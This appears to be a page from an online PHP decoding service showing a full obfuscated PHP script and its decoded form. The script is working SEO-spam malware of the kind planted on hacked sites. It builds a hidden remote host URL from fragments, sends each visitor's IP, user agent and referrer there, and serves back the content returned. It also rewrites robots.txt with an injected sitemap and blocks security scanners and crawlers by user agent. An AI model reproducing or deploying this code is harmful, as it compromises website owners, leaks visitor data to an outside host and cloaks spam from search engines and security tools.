Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto HBZ4b; cxBaZ: CUrl_sETopT($hx8aQ, CURLOPT_URL, $VsXAQ); goto yx2UR; CSbOT: K5..
Decoded Output download
<?php
goto HBZ4b; cxBaZ: CUrl_sETopT($hx8aQ, CURLOPT_URL, $VsXAQ); goto yx2UR; CSbOT: K5LkC: goto fFdBJ; o0k_o: if (!empty($gltof)) { goto ffzsB; } goto nohKA; Ivmiu: goto OyMDx; goto S2sg_; QTqRF: if (empty($gltof)) { goto bQRn_; } goto pk5N1; gdRGo: jIBY2: goto r6aMd; WsK02: $gltof = cURL_EXEc($hx8aQ); goto kvC1r; bHGre: $VsXAQ = $eXp1u . "?agent={$TXag7}&refer={$hDoZb}&lang={$BW2Q8}&ip={$rxUZv}&dom={$dDdfM}&http={$YEu6K}&uri={$Ik6PQ}&pc={$ZpC1r}&rewriteable={$Unv9m}&script={$ya02v}&sitemap=" . UrlENcode($IFdCd); goto h6nVz; NCypy: if (isset($_SERVER["HTTP_CLIENT_IP"])) { goto MoazQ; } goto AmhYt; uXWDf: bGfnm: goto dd9gJ; pUpID: mRHbA: goto bKFqB; YmLlI: goto yiT1l; goto uXWDf; q21zv: $JRvbL = "htt"; goto ilHv1; ZuoMo: goto USFaH; goto azNuR; J6GpA: $VsXAQ = $eXp1u . "?agent={$TXag7}&refer={$hDoZb}&lang={$BW2Q8}&ip={$rxUZv}&dom={$dDdfM}&http={$YEu6K}&uri={$Ik6PQ}&pc={$ZpC1r}&rewriteable={$Unv9m}&script={$ya02v}"; goto fGca0; CCkqW: bQRn_: goto hOtuR; dd9gJ: $rxUZv = $_SERVER["HTTP_X_FORWARDED_FOR"]; goto W0CMZ; pBHqb: goto aVr_F; goto EzwTs; zW59m: CKFEQ: goto yKksn; Veoe5: exit; goto AywJS; GmgCv: OyMDx: goto VL0sa; W0CMZ: yiT1l: goto aWPek; pIPiV: goto BquFd; goto KOqVV; FBVAU: goto cF38e; goto lhn8C; ywx11: IlIv_: goto Ivmiu; fFdBJ: goto xE2vj; goto Xwobq; niH9x: $Jl0BZ = "Docomo|Bing|Google|Yahoo"; goto hlxWe; fGca0: $iDFWC = ''; goto oGUel; aNilJ: vbMdm: goto J6GpA; EyL2V: ffzsB: goto QTqRF; P8z_o: $rxUZv = $_SERVER["REMOTE_ADDR"]; goto NCypy; SR33Y: eMr0J("robots.txt", $iDFWC); goto GmgCv; ilHv1: $g3ghh = "t.com/"; goto ftOJ9; VwNKX: $IFdCd = "{$YEu6K}://" . $dDdfM . $x58u1 . "sitemap.xml"; goto JCIrl; Ad3Dn: goto FUk9n; goto aNilJ; TQjIA: if (sTRpoS($Ik6PQ, "favicon.ico") !== false) { goto l9kkM; } goto WF2Q1; VL0sa: exit; goto lGBLf; Hb7I_: CURl_SeTOpt($hx8aQ, CURLOPT_FOLLOWLOCATION, false); goto YQnXX; KOqVV: l9kkM: goto ML5nd; yKksn: XeJet: goto rRrXt; oGUel: if (!(strpOs($Ik6PQ, "pingsitemap") !== false)) { goto xZrho; } goto rbyRl; XGY_p: $TXag7 = Urlencode($_SERVER["HTTP_USER_AGENT"]); goto a153_; S2sg_: ykc2P: goto SR33Y; pG6rw: if (!(stRpoS($Ik6PQ, "fgbfgb") !== false)) { goto jIBY2; } goto mb0O0; kvC1r: CuRL_ClOSe($hx8aQ); goto EyL2V; PoDBE: $x58u1 = "/"; goto V9YWY; olPbl: $ya02v = urLeNcoDe($_SERVER["SCRIPT_NAME"]); goto ZFfRG; ZFfRG: if (!empty($_SERVER["REQUEST_SCHEME"]) and $_SERVER["REQUEST_SCHEME"] == "https" or !empty($_SERVER["HTTPS"]) and $_SERVER["HTTPS"] == "on" or !empty($_SERVER["SERVER_PORT"]) and $_SERVER["SERVER_PORT"] == "443" or isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) and $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto uq50V; } goto VVNwk; HeZ5H: if (!PreG_MatcH("/(DataForSEO|python-requests|YandexBot|JikeSpider|Barkrowler|AhrefsBot|amazonBot|YisouSpider|PetalBot|DotBot|feedly|UniversalFeedParser|python|semrushBot|Java|CensysInspect|CrawlDaddy|Swiftbot|yySpider|feedDemon|ZmEu|CoolpadWebkit|jaunty|ApacheBench|indy Library|bytespider|Ezooms|Python-urllib|HttpClient|scrapy|mj12bot|heritrix|digExt|LightDeckReports Bot|oBot|EasouSpider|Go-http-client|AskTbFXTV|GPTBot|SeznamBot|Paloaltonetworks)/i", $_SERVER["HTTP_USER_AGENT"])) { goto evYnR; } goto fRkFP; mR4gV: if (sTrPOS($Ik6PQ, "jp2023") !== false) { goto XNTfh; } goto kjVo5; ESu7Q: if (StRPOS($x58u1, "index.ph") !== false) { goto At5Li; } goto KzMOX; Oj9Nw: $YEu6K = uRLEncODE($_SERVER["REQUEST_SCHEME"]); goto rk2Od; hmr7x: $HJb2o = ''; goto nlKml; LzoQK: $rxUZv = $_SERVER["HTTP_CLIENT_IP"]; goto YmLlI; azNuR: uq50V: goto pALC0; YQnXX: cuRL_SEtopT($hx8aQ, CURLOPT_SSL_VERIFYPEER, FALSE); goto JZxxP; M8yNT: goto XeJet; goto UHw25; GBsMB: if (!(STRPOs($Ik6PQ, "robots.txt") !== false)) { goto IlIv_; } goto GH5EA; BQVXK: goto K5LkC; goto pUpID; L0rkN: EMr0j("fgb.txt", "0"); goto pBHqb; q_82c: if (!empty($iDFWC)) { goto ykc2P; } goto GBsMB; qFo3B: yQt_T: goto sfR_9; N17Qp: function emR0j($ZDFNL, $JQRab) { goto vIpUA; vIpUA: $Dif9A = fopen($ZDFNL, "w"); goto cDklf; cDklf: if (!$Dif9A) { goto Yqvv3; } goto VAQvN; L3knW: fclose($Dif9A); goto F50bI; vjy8U: return false; goto rol_x; VAQvN: fwrite($Dif9A, $JQRab); goto L3knW; F50bI: return true; goto vNPJP; vNPJP: Yqvv3: goto vjy8U; rol_x: } goto FNWuc; Xwobq: XNTfh: goto hO04w; mClvu: function gEUcs($qnI7y) { goto RImiK; XOSFm: cURL_SEtopT($hx8aQ, CURLOPT_URL, $qnI7y); goto qpyRn; dJf8O: return $JQRab; goto pbfWc; d7Iuu: CurL_sEtopT($hx8aQ, CURLOPT_SSL_VERIFYPEER, false); goto CCAgY; RImiK: $hx8aQ = cUrl_InIt(); goto XOSFm; MtVOV: curl_SETOpt($hx8aQ, CURLOPT_FOLLOWLOCATION, false); goto d7Iuu; qpyRn: CUrL_SetoPt($hx8aQ, CURLOPT_RETURNTRANSFER, true); goto MtVOV; CCAgY: cURl_SEtoPt($hx8aQ, CURLOPT_SSL_VERIFYHOST, false); goto zYFRQ; zYFRQ: $JQRab = cuRl_EXEc($hx8aQ); goto yBJm9; yBJm9: curl_cLoSE($hx8aQ); goto dJf8O; pbfWc: } goto N17Qp; mb0O0: echo "ok"; goto LiTTe; h6nVz: xZrho: goto FpxJ4; sfR_9: $x58u1 = "/?"; goto zW59m; WnArN: $gltof = Geucs($BzABJ); goto gQFz6; aM6p4: goto yiT1l; goto ZuQrH; HBZ4b: $nFOdT = "adul"; goto c5MmA; U5cZ1: $dDdfM = uRlEncOdE($_SERVER["HTTP_HOST"]); goto olPbl; LiTTe: exit; goto gdRGo; Rb7KY: $eXp1u = $JRvbL . $enewU . $dNDeD . $odarH . $nFOdT . $g3ghh; goto g3FwK; kjVo5: if (suBSTR($gltof, 0, 5) == "<?xml") { goto mRHbA; } goto KiqV0; FpxJ4: $gltof = @file_get_conTeNts($VsXAQ); goto o0k_o; gQFz6: if ($gltof === "ok") { goto dePMm; } goto Yc0c1; pcwTe: header("HTTP/1.0 500 Internal Server Error"); goto lSClU; rRrXt: $iDFWC = "User-agent: *\xd
Allow: /"; goto VwNKX; FNWuc: function ixDMA($ZDFNL) { goto XCCfh; U6Pvp: if (!$Dif9A) { goto jdIoU; } goto vcLuW; vcLuW: $JQRab = fread($Dif9A, filesize($ZDFNL)); goto JCkEx; oUK78: jdIoU: goto XdLID; JCkEx: fclose($Dif9A); goto WQSgN; WQSgN: return $JQRab; goto oUK78; XdLID: return false; goto paM1w; XCCfh: $Dif9A = fopen($ZDFNL, "r"); goto U6Pvp; paM1w: } goto TQjIA; ftOJ9: $dNDeD = "u"; goto wlZlO; Yc0c1: $Unv9m = 0; goto L0rkN; Zq_YA: QhJi4: goto mR4gV; tGjVn: Emr0J("fgb.txt", "1"); goto H12ht; AywJS: evYnR: goto SpJM_; cHuFe: cF38e: goto mClvu; lSClU: exit; goto Zq_YA; fRkFP: header("HTTP/1.0 403 Forbidden"); goto Veoe5; auWPn: $BzABJ = $YEu6K . "://" . $_SERVER["HTTP_HOST"] . "/fgbfgb"; goto WnArN; GH5EA: EMR0J("robots.txt", $gltof); goto ywx11; QYj_B: if ($Unv9m == 0) { goto yQt_T; } goto PoDBE; H12ht: aVr_F: goto cHuFe; ZuQrH: MoazQ: goto LzoQK; hOtuR: FUk9n: goto pIPiV; VVNwk: $_SERVER["REQUEST_SCHEME"] = "http"; goto ZuoMo; pALC0: $_SERVER["REQUEST_SCHEME"] = "https"; goto KP_Z5; wlZlO: $odarH = "sty"; goto Rb7KY; V9YWY: goto CKFEQ; goto qFo3B; rbyRl: $x58u1 = $_SERVER["SCRIPT_NAME"]; goto ESu7Q; AmhYt: if (isset($_SERVER["HTTP_X_FORWARDED_FOR"])) { goto bGfnm; } goto aM6p4; KiqV0: header("Content-Type: text/html; charset=utf-8"); goto BQVXK; EzwTs: dePMm: goto C43u4; D1cmK: echo $gltof; goto q_82c; WF2Q1: if (StRpoS($Ik6PQ, "robots.txt") !== false or sTrPOS($Ik6PQ, "pingsitemap") !== false or StrPos($Ik6PQ, "jp2023") !== false or pREG_matCh("@^/(.*?).xml$@i", $_SERVER["REQUEST_URI"]) or PrEg_MATCH("/({$Jl0BZ})/i", $_SERVER["HTTP_USER_AGENT"]) or pReg_MaTCH("/({$Jl0BZ})/i", $_SERVER["HTTP_REFERER"])) { goto vbMdm; } goto Ad3Dn; r6aMd: $Unv9m = 0; goto ZkwBT; pk5N1: if (!(sUbSTR($gltof, 0, 10) == "error code" || $gltof == "500")) { goto QhJi4; } goto pcwTe; JCIrl: $iDFWC = trim($iDFWC) . "
\xa" . "Sitemap: {$IFdCd}"; goto hmr7x; hlxWe: eRRor_REPorTINg(0); goto HeZ5H; nlKml: echo $IFdCd . ": " . $HJb2o . "<br/>"; goto bHGre; a153_: $BW2Q8 = UrLeNCODe(@$_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto P8z_o; JZxxP: CurL_SEtoPT($hx8aQ, CURLOPT_SSL_VERIFYHOST, FALSE); goto WsK02; lhn8C: ga4Br: goto auWPn; C43u4: $Unv9m = 1; goto tGjVn; g3FwK: $ZpC1r = "Ug0FUAM"; goto niH9x; yx2UR: Curl_sEtOPt($hx8aQ, CURLOPT_RETURNTRANSFER, true); goto Hb7I_; rWGI2: $Unv9m = IxDma("fgb.txt"); goto FBVAU; KzMOX: $x58u1 = $x58u1 . "?"; goto M8yNT; hO04w: header("HTTP/1.1 404 Not Found"); goto Aw3AG; bKFqB: header("Content-Type: text/xml; charset=utf-8"); goto CSbOT; rk2Od: $Ik6PQ = UrLEncode($_SERVER["REQUEST_URI"]); goto pG6rw; UHw25: At5Li: goto QYj_B; c5MmA: $enewU = "p://cw1164.b"; goto q21zv; SpJM_: $hDoZb = urLEncOdE(@$_SERVER["HTTP_REFERER"]); goto XGY_p; ZkwBT: if (!is_file("fgb.txt")) { goto ga4Br; } goto rWGI2; Aw3AG: xE2vj: goto D1cmK; nohKA: $hx8aQ = cUrl_InIt(); goto cxBaZ; KP_Z5: USFaH: goto Oj9Nw; aWPek: $rxUZv = UrLencODE($rxUZv); goto U5cZ1; lGBLf: return; goto CCkqW; ML5nd: BquFd: ?>
Did this file decode correctly?
Original Code
<?php
goto HBZ4b; cxBaZ: CUrl_sETopT($hx8aQ, CURLOPT_URL, $VsXAQ); goto yx2UR; CSbOT: K5LkC: goto fFdBJ; o0k_o: if (!empty($gltof)) { goto ffzsB; } goto nohKA; Ivmiu: goto OyMDx; goto S2sg_; QTqRF: if (empty($gltof)) { goto bQRn_; } goto pk5N1; gdRGo: jIBY2: goto r6aMd; WsK02: $gltof = cURL_EXEc($hx8aQ); goto kvC1r; bHGre: $VsXAQ = $eXp1u . "\77\141\147\145\156\x74\75{$TXag7}\46\x72\145\x66\145\162\x3d{$hDoZb}\x26\x6c\141\156\147\x3d{$BW2Q8}\x26\x69\x70\75{$rxUZv}\x26\x64\x6f\155\x3d{$dDdfM}\46\x68\x74\x74\x70\x3d{$YEu6K}\46\165\x72\151\x3d{$Ik6PQ}\46\160\143\x3d{$ZpC1r}\46\x72\x65\x77\x72\151\x74\x65\141\x62\154\x65\75{$Unv9m}\x26\x73\143\x72\151\x70\x74\75{$ya02v}\46\x73\151\x74\145\155\141\160\75" . UrlENcode($IFdCd); goto h6nVz; NCypy: if (isset($_SERVER["\110\x54\x54\x50\137\103\114\x49\105\x4e\x54\137\111\x50"])) { goto MoazQ; } goto AmhYt; uXWDf: bGfnm: goto dd9gJ; pUpID: mRHbA: goto bKFqB; YmLlI: goto yiT1l; goto uXWDf; q21zv: $JRvbL = "\x68\x74\164"; goto ilHv1; ZuoMo: goto USFaH; goto azNuR; J6GpA: $VsXAQ = $eXp1u . "\77\141\x67\x65\156\164\x3d{$TXag7}\46\x72\145\x66\145\162\75{$hDoZb}\x26\154\x61\x6e\x67\75{$BW2Q8}\x26\151\160\x3d{$rxUZv}\46\x64\x6f\155\75{$dDdfM}\x26\150\x74\164\160\75{$YEu6K}\x26\165\x72\151\x3d{$Ik6PQ}\x26\x70\x63\x3d{$ZpC1r}\x26\x72\x65\167\x72\151\x74\145\x61\142\x6c\x65\75{$Unv9m}\46\163\143\x72\x69\x70\x74\75{$ya02v}"; goto fGca0; CCkqW: bQRn_: goto hOtuR; dd9gJ: $rxUZv = $_SERVER["\110\x54\x54\x50\137\x58\137\106\x4f\x52\127\x41\122\104\x45\x44\137\x46\117\x52"]; goto W0CMZ; pBHqb: goto aVr_F; goto EzwTs; zW59m: CKFEQ: goto yKksn; Veoe5: exit; goto AywJS; GmgCv: OyMDx: goto VL0sa; W0CMZ: yiT1l: goto aWPek; pIPiV: goto BquFd; goto KOqVV; FBVAU: goto cF38e; goto lhn8C; ywx11: IlIv_: goto Ivmiu; fFdBJ: goto xE2vj; goto Xwobq; niH9x: $Jl0BZ = "\104\x6f\x63\x6f\155\157\174\102\x69\156\147\x7c\x47\x6f\157\x67\x6c\x65\x7c\x59\x61\x68\157\157"; goto hlxWe; fGca0: $iDFWC = ''; goto oGUel; aNilJ: vbMdm: goto J6GpA; EyL2V: ffzsB: goto QTqRF; P8z_o: $rxUZv = $_SERVER["\x52\x45\115\117\x54\105\x5f\101\104\x44\x52"]; goto NCypy; SR33Y: eMr0J("\162\x6f\142\x6f\x74\163\56\164\x78\164", $iDFWC); goto GmgCv; ilHv1: $g3ghh = "\164\56\143\x6f\155\x2f"; goto ftOJ9; VwNKX: $IFdCd = "{$YEu6K}\72\x2f\x2f" . $dDdfM . $x58u1 . "\x73\151\164\145\155\141\x70\56\170\155\154"; goto JCIrl; Ad3Dn: goto FUk9n; goto aNilJ; TQjIA: if (sTRpoS($Ik6PQ, "\x66\x61\166\x69\143\157\156\56\x69\143\x6f") !== false) { goto l9kkM; } goto WF2Q1; VL0sa: exit; goto lGBLf; Hb7I_: CURl_SeTOpt($hx8aQ, CURLOPT_FOLLOWLOCATION, false); goto YQnXX; KOqVV: l9kkM: goto ML5nd; yKksn: XeJet: goto rRrXt; oGUel: if (!(strpOs($Ik6PQ, "\160\x69\156\x67\163\x69\x74\145\155\141\x70") !== false)) { goto xZrho; } goto rbyRl; XGY_p: $TXag7 = Urlencode($_SERVER["\110\124\124\x50\137\x55\123\x45\x52\x5f\101\x47\105\116\124"]); goto a153_; S2sg_: ykc2P: goto SR33Y; pG6rw: if (!(stRpoS($Ik6PQ, "\146\147\x62\x66\x67\x62") !== false)) { goto jIBY2; } goto mb0O0; kvC1r: CuRL_ClOSe($hx8aQ); goto EyL2V; PoDBE: $x58u1 = "\x2f"; goto V9YWY; olPbl: $ya02v = urLeNcoDe($_SERVER["\123\103\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto ZFfRG; ZFfRG: if (!empty($_SERVER["\122\x45\121\x55\105\123\124\x5f\x53\103\x48\105\x4d\105"]) and $_SERVER["\x52\x45\121\x55\105\x53\x54\137\x53\103\x48\x45\115\105"] == "\x68\164\164\160\163" or !empty($_SERVER["\x48\124\x54\120\123"]) and $_SERVER["\x48\x54\x54\x50\x53"] == "\x6f\156" or !empty($_SERVER["\x53\x45\122\126\x45\x52\137\x50\x4f\x52\124"]) and $_SERVER["\123\105\122\x56\105\x52\x5f\x50\x4f\x52\x54"] == "\x34\64\63" or isset($_SERVER["\110\124\124\x50\137\x58\x5f\x46\x4f\x52\127\101\122\x44\105\x44\x5f\120\122\x4f\124\117"]) and $_SERVER["\x48\124\124\x50\x5f\x58\137\106\x4f\122\127\x41\x52\104\105\x44\137\120\122\117\x54\117"] == "\x68\164\164\160\x73") { goto uq50V; } goto VVNwk; HeZ5H: if (!PreG_MatcH("\x2f\x28\x44\141\164\141\x46\x6f\162\x53\105\x4f\174\160\171\164\150\x6f\x6e\x2d\162\145\x71\165\145\163\x74\x73\174\131\x61\156\144\145\x78\x42\x6f\x74\174\x4a\x69\x6b\145\123\x70\151\x64\x65\162\x7c\102\141\x72\x6b\162\x6f\x77\154\145\x72\x7c\x41\150\162\x65\x66\x73\x42\x6f\x74\174\141\155\x61\x7a\x6f\156\102\x6f\164\x7c\131\x69\x73\157\165\123\160\151\x64\x65\162\x7c\120\x65\x74\x61\154\102\157\x74\x7c\104\x6f\164\x42\x6f\x74\x7c\146\x65\x65\x64\x6c\171\174\x55\156\x69\166\145\162\163\x61\154\106\145\145\x64\x50\141\x72\x73\145\162\x7c\x70\x79\164\150\157\156\174\163\145\155\x72\165\163\x68\x42\157\x74\x7c\x4a\141\x76\141\x7c\103\145\156\163\171\163\x49\156\x73\160\145\143\164\174\103\162\141\167\154\104\141\144\x64\171\x7c\123\167\151\x66\x74\142\x6f\x74\174\x79\x79\x53\x70\x69\x64\x65\x72\x7c\146\x65\145\144\104\x65\155\x6f\x6e\x7c\132\x6d\x45\x75\x7c\x43\x6f\x6f\x6c\160\x61\x64\127\x65\142\153\x69\x74\174\x6a\141\165\x6e\x74\x79\x7c\x41\160\141\143\x68\145\102\145\156\x63\x68\174\x69\x6e\x64\171\40\114\x69\x62\162\141\162\171\174\142\171\164\x65\163\x70\151\144\x65\162\x7c\105\x7a\x6f\157\x6d\163\174\120\171\x74\150\x6f\x6e\x2d\x75\162\x6c\154\x69\142\x7c\x48\164\164\160\103\x6c\151\x65\156\164\174\x73\x63\x72\141\160\171\x7c\155\152\x31\x32\142\157\164\x7c\150\145\x72\151\164\162\x69\170\x7c\144\x69\147\105\x78\x74\174\x4c\151\147\150\x74\104\x65\143\x6b\x52\145\160\x6f\162\164\163\40\102\157\164\x7c\x6f\102\157\x74\x7c\x45\x61\x73\157\x75\123\160\x69\x64\x65\162\x7c\x47\157\x2d\150\164\164\x70\x2d\143\x6c\151\x65\156\164\174\101\163\153\124\142\106\x58\x54\126\174\x47\120\124\x42\x6f\164\x7c\x53\145\172\x6e\141\x6d\x42\157\x74\174\x50\141\154\x6f\x61\x6c\x74\x6f\156\x65\164\x77\157\x72\153\x73\x29\x2f\x69", $_SERVER["\110\124\124\x50\x5f\125\123\105\122\137\101\107\x45\116\124"])) { goto evYnR; } goto fRkFP; mR4gV: if (sTrPOS($Ik6PQ, "\152\x70\62\60\x32\x33") !== false) { goto XNTfh; } goto kjVo5; ESu7Q: if (StRPOS($x58u1, "\151\156\x64\145\170\56\x70\150") !== false) { goto At5Li; } goto KzMOX; Oj9Nw: $YEu6K = uRLEncODE($_SERVER["\x52\x45\121\x55\105\x53\124\137\x53\103\110\105\115\105"]); goto rk2Od; hmr7x: $HJb2o = ''; goto nlKml; LzoQK: $rxUZv = $_SERVER["\x48\124\x54\120\x5f\x43\114\x49\105\x4e\124\137\x49\120"]; goto YmLlI; azNuR: uq50V: goto pALC0; YQnXX: cuRL_SEtopT($hx8aQ, CURLOPT_SSL_VERIFYPEER, FALSE); goto JZxxP; M8yNT: goto XeJet; goto UHw25; GBsMB: if (!(STRPOs($Ik6PQ, "\162\157\142\x6f\x74\163\56\x74\170\x74") !== false)) { goto IlIv_; } goto GH5EA; BQVXK: goto K5LkC; goto pUpID; L0rkN: EMr0j("\146\x67\142\56\164\x78\164", "\60"); goto pBHqb; q_82c: if (!empty($iDFWC)) { goto ykc2P; } goto GBsMB; qFo3B: yQt_T: goto sfR_9; N17Qp: function emR0j($ZDFNL, $JQRab) { goto vIpUA; vIpUA: $Dif9A = fopen($ZDFNL, "\167"); goto cDklf; cDklf: if (!$Dif9A) { goto Yqvv3; } goto VAQvN; L3knW: fclose($Dif9A); goto F50bI; vjy8U: return false; goto rol_x; VAQvN: fwrite($Dif9A, $JQRab); goto L3knW; F50bI: return true; goto vNPJP; vNPJP: Yqvv3: goto vjy8U; rol_x: } goto FNWuc; Xwobq: XNTfh: goto hO04w; mClvu: function gEUcs($qnI7y) { goto RImiK; XOSFm: cURL_SEtopT($hx8aQ, CURLOPT_URL, $qnI7y); goto qpyRn; dJf8O: return $JQRab; goto pbfWc; d7Iuu: CurL_sEtopT($hx8aQ, CURLOPT_SSL_VERIFYPEER, false); goto CCAgY; RImiK: $hx8aQ = cUrl_InIt(); goto XOSFm; MtVOV: curl_SETOpt($hx8aQ, CURLOPT_FOLLOWLOCATION, false); goto d7Iuu; qpyRn: CUrL_SetoPt($hx8aQ, CURLOPT_RETURNTRANSFER, true); goto MtVOV; CCAgY: cURl_SEtoPt($hx8aQ, CURLOPT_SSL_VERIFYHOST, false); goto zYFRQ; zYFRQ: $JQRab = cuRl_EXEc($hx8aQ); goto yBJm9; yBJm9: curl_cLoSE($hx8aQ); goto dJf8O; pbfWc: } goto N17Qp; mb0O0: echo "\157\x6b"; goto LiTTe; h6nVz: xZrho: goto FpxJ4; sfR_9: $x58u1 = "\x2f\x3f"; goto zW59m; WnArN: $gltof = Geucs($BzABJ); goto gQFz6; aM6p4: goto yiT1l; goto ZuQrH; HBZ4b: $nFOdT = "\141\144\165\x6c"; goto c5MmA; U5cZ1: $dDdfM = uRlEncOdE($_SERVER["\x48\124\x54\x50\x5f\110\x4f\123\124"]); goto olPbl; LiTTe: exit; goto gdRGo; Rb7KY: $eXp1u = $JRvbL . $enewU . $dNDeD . $odarH . $nFOdT . $g3ghh; goto g3FwK; kjVo5: if (suBSTR($gltof, 0, 5) == "\x3c\77\x78\155\x6c") { goto mRHbA; } goto KiqV0; FpxJ4: $gltof = @file_get_conTeNts($VsXAQ); goto o0k_o; gQFz6: if ($gltof === "\157\153") { goto dePMm; } goto Yc0c1; pcwTe: header("\x48\x54\x54\120\57\x31\x2e\x30\x20\x35\x30\60\x20\x49\x6e\x74\145\x72\156\x61\154\40\x53\x65\162\x76\145\x72\x20\x45\x72\x72\x6f\162"); goto lSClU; rRrXt: $iDFWC = "\125\x73\x65\x72\55\x61\147\145\156\164\x3a\x20\x2a\xd\12\101\x6c\x6c\x6f\x77\x3a\x20\57"; goto VwNKX; FNWuc: function ixDMA($ZDFNL) { goto XCCfh; U6Pvp: if (!$Dif9A) { goto jdIoU; } goto vcLuW; vcLuW: $JQRab = fread($Dif9A, filesize($ZDFNL)); goto JCkEx; oUK78: jdIoU: goto XdLID; JCkEx: fclose($Dif9A); goto WQSgN; WQSgN: return $JQRab; goto oUK78; XdLID: return false; goto paM1w; XCCfh: $Dif9A = fopen($ZDFNL, "\x72"); goto U6Pvp; paM1w: } goto TQjIA; ftOJ9: $dNDeD = "\x75"; goto wlZlO; Yc0c1: $Unv9m = 0; goto L0rkN; Zq_YA: QhJi4: goto mR4gV; tGjVn: Emr0J("\146\147\142\x2e\x74\x78\x74", "\x31"); goto H12ht; AywJS: evYnR: goto SpJM_; cHuFe: cF38e: goto mClvu; lSClU: exit; goto Zq_YA; fRkFP: header("\x48\124\124\120\x2f\61\56\x30\x20\64\x30\63\x20\106\x6f\x72\x62\151\x64\144\145\x6e"); goto Veoe5; auWPn: $BzABJ = $YEu6K . "\72\57\57" . $_SERVER["\110\124\x54\120\137\110\117\123\x54"] . "\x2f\x66\x67\x62\x66\x67\142"; goto WnArN; GH5EA: EMR0J("\x72\x6f\x62\x6f\x74\163\x2e\x74\x78\164", $gltof); goto ywx11; QYj_B: if ($Unv9m == 0) { goto yQt_T; } goto PoDBE; H12ht: aVr_F: goto cHuFe; ZuQrH: MoazQ: goto LzoQK; hOtuR: FUk9n: goto pIPiV; VVNwk: $_SERVER["\x52\105\x51\x55\105\123\124\137\123\x43\x48\105\x4d\105"] = "\150\x74\x74\x70"; goto ZuoMo; pALC0: $_SERVER["\122\x45\121\125\105\123\124\137\123\103\110\x45\x4d\x45"] = "\x68\164\164\x70\163"; goto KP_Z5; wlZlO: $odarH = "\163\164\x79"; goto Rb7KY; V9YWY: goto CKFEQ; goto qFo3B; rbyRl: $x58u1 = $_SERVER["\x53\103\x52\111\120\x54\x5f\116\101\115\105"]; goto ESu7Q; AmhYt: if (isset($_SERVER["\x48\124\124\120\x5f\x58\137\106\117\122\127\x41\x52\x44\x45\x44\x5f\x46\x4f\x52"])) { goto bGfnm; } goto aM6p4; KiqV0: header("\103\x6f\156\x74\145\156\164\x2d\124\x79\160\x65\x3a\40\x74\x65\x78\164\x2f\x68\x74\x6d\154\73\40\x63\x68\141\162\x73\x65\164\75\165\x74\x66\x2d\70"); goto BQVXK; EzwTs: dePMm: goto C43u4; D1cmK: echo $gltof; goto q_82c; WF2Q1: if (StRpoS($Ik6PQ, "\x72\x6f\x62\x6f\x74\163\x2e\x74\x78\x74") !== false or sTrPOS($Ik6PQ, "\x70\x69\156\x67\x73\151\x74\x65\155\x61\x70") !== false or StrPos($Ik6PQ, "\152\x70\x32\x30\x32\x33") !== false or pREG_matCh("\100\x5e\x2f\x28\56\52\77\x29\x2e\x78\155\x6c\x24\100\151", $_SERVER["\122\x45\x51\x55\105\x53\124\x5f\125\122\x49"]) or PrEg_MATCH("\x2f\50{$Jl0BZ}\x29\57\x69", $_SERVER["\x48\x54\124\120\x5f\125\123\x45\122\137\101\107\x45\x4e\124"]) or pReg_MaTCH("\57\x28{$Jl0BZ}\51\57\151", $_SERVER["\x48\x54\x54\120\137\x52\105\x46\105\122\105\122"])) { goto vbMdm; } goto Ad3Dn; r6aMd: $Unv9m = 0; goto ZkwBT; pk5N1: if (!(sUbSTR($gltof, 0, 10) == "\145\x72\162\x6f\x72\40\x63\157\144\145" || $gltof == "\65\x30\60")) { goto QhJi4; } goto pcwTe; JCIrl: $iDFWC = trim($iDFWC) . "\15\xa" . "\x53\x69\164\x65\155\x61\x70\x3a\40{$IFdCd}"; goto hmr7x; hlxWe: eRRor_REPorTINg(0); goto HeZ5H; nlKml: echo $IFdCd . "\72\x20" . $HJb2o . "\74\x62\x72\x2f\x3e"; goto bHGre; a153_: $BW2Q8 = UrLeNCODe(@$_SERVER["\110\124\124\120\x5f\x41\x43\103\105\120\x54\x5f\114\101\x4e\107\125\x41\107\x45"]); goto P8z_o; JZxxP: CurL_SEtoPT($hx8aQ, CURLOPT_SSL_VERIFYHOST, FALSE); goto WsK02; lhn8C: ga4Br: goto auWPn; C43u4: $Unv9m = 1; goto tGjVn; g3FwK: $ZpC1r = "\125\147\60\106\125\101\115"; goto niH9x; yx2UR: Curl_sEtOPt($hx8aQ, CURLOPT_RETURNTRANSFER, true); goto Hb7I_; rWGI2: $Unv9m = IxDma("\x66\147\142\x2e\x74\x78\x74"); goto FBVAU; KzMOX: $x58u1 = $x58u1 . "\x3f"; goto M8yNT; hO04w: header("\110\124\124\120\x2f\x31\56\61\40\x34\60\x34\x20\x4e\x6f\164\40\x46\x6f\165\156\x64"); goto Aw3AG; bKFqB: header("\x43\157\x6e\x74\145\x6e\x74\x2d\x54\x79\160\145\x3a\40\164\145\x78\164\57\x78\x6d\154\x3b\40\143\150\x61\x72\x73\x65\164\75\165\164\x66\55\x38"); goto CSbOT; rk2Od: $Ik6PQ = UrLEncode($_SERVER["\122\105\121\x55\105\123\x54\137\125\x52\111"]); goto pG6rw; UHw25: At5Li: goto QYj_B; c5MmA: $enewU = "\160\72\x2f\x2f\x63\x77\x31\x31\66\x34\x2e\x62"; goto q21zv; SpJM_: $hDoZb = urLEncOdE(@$_SERVER["\x48\124\124\x50\137\x52\x45\106\x45\122\105\x52"]); goto XGY_p; ZkwBT: if (!is_file("\x66\147\142\56\164\170\x74")) { goto ga4Br; } goto rWGI2; Aw3AG: xE2vj: goto D1cmK; nohKA: $hx8aQ = cUrl_InIt(); goto cxBaZ; KP_Z5: USFaH: goto Oj9Nw; aWPek: $rxUZv = UrLencODE($rxUZv); goto U5cZ1; lGBLf: return; goto CCkqW; ML5nd: BquFd:
Function Calls
None |
Stats
MD5 | 6f612831287d4141cb4985c36dbe797e |
Eval Count | 0 |
Decode Time | 57 ms |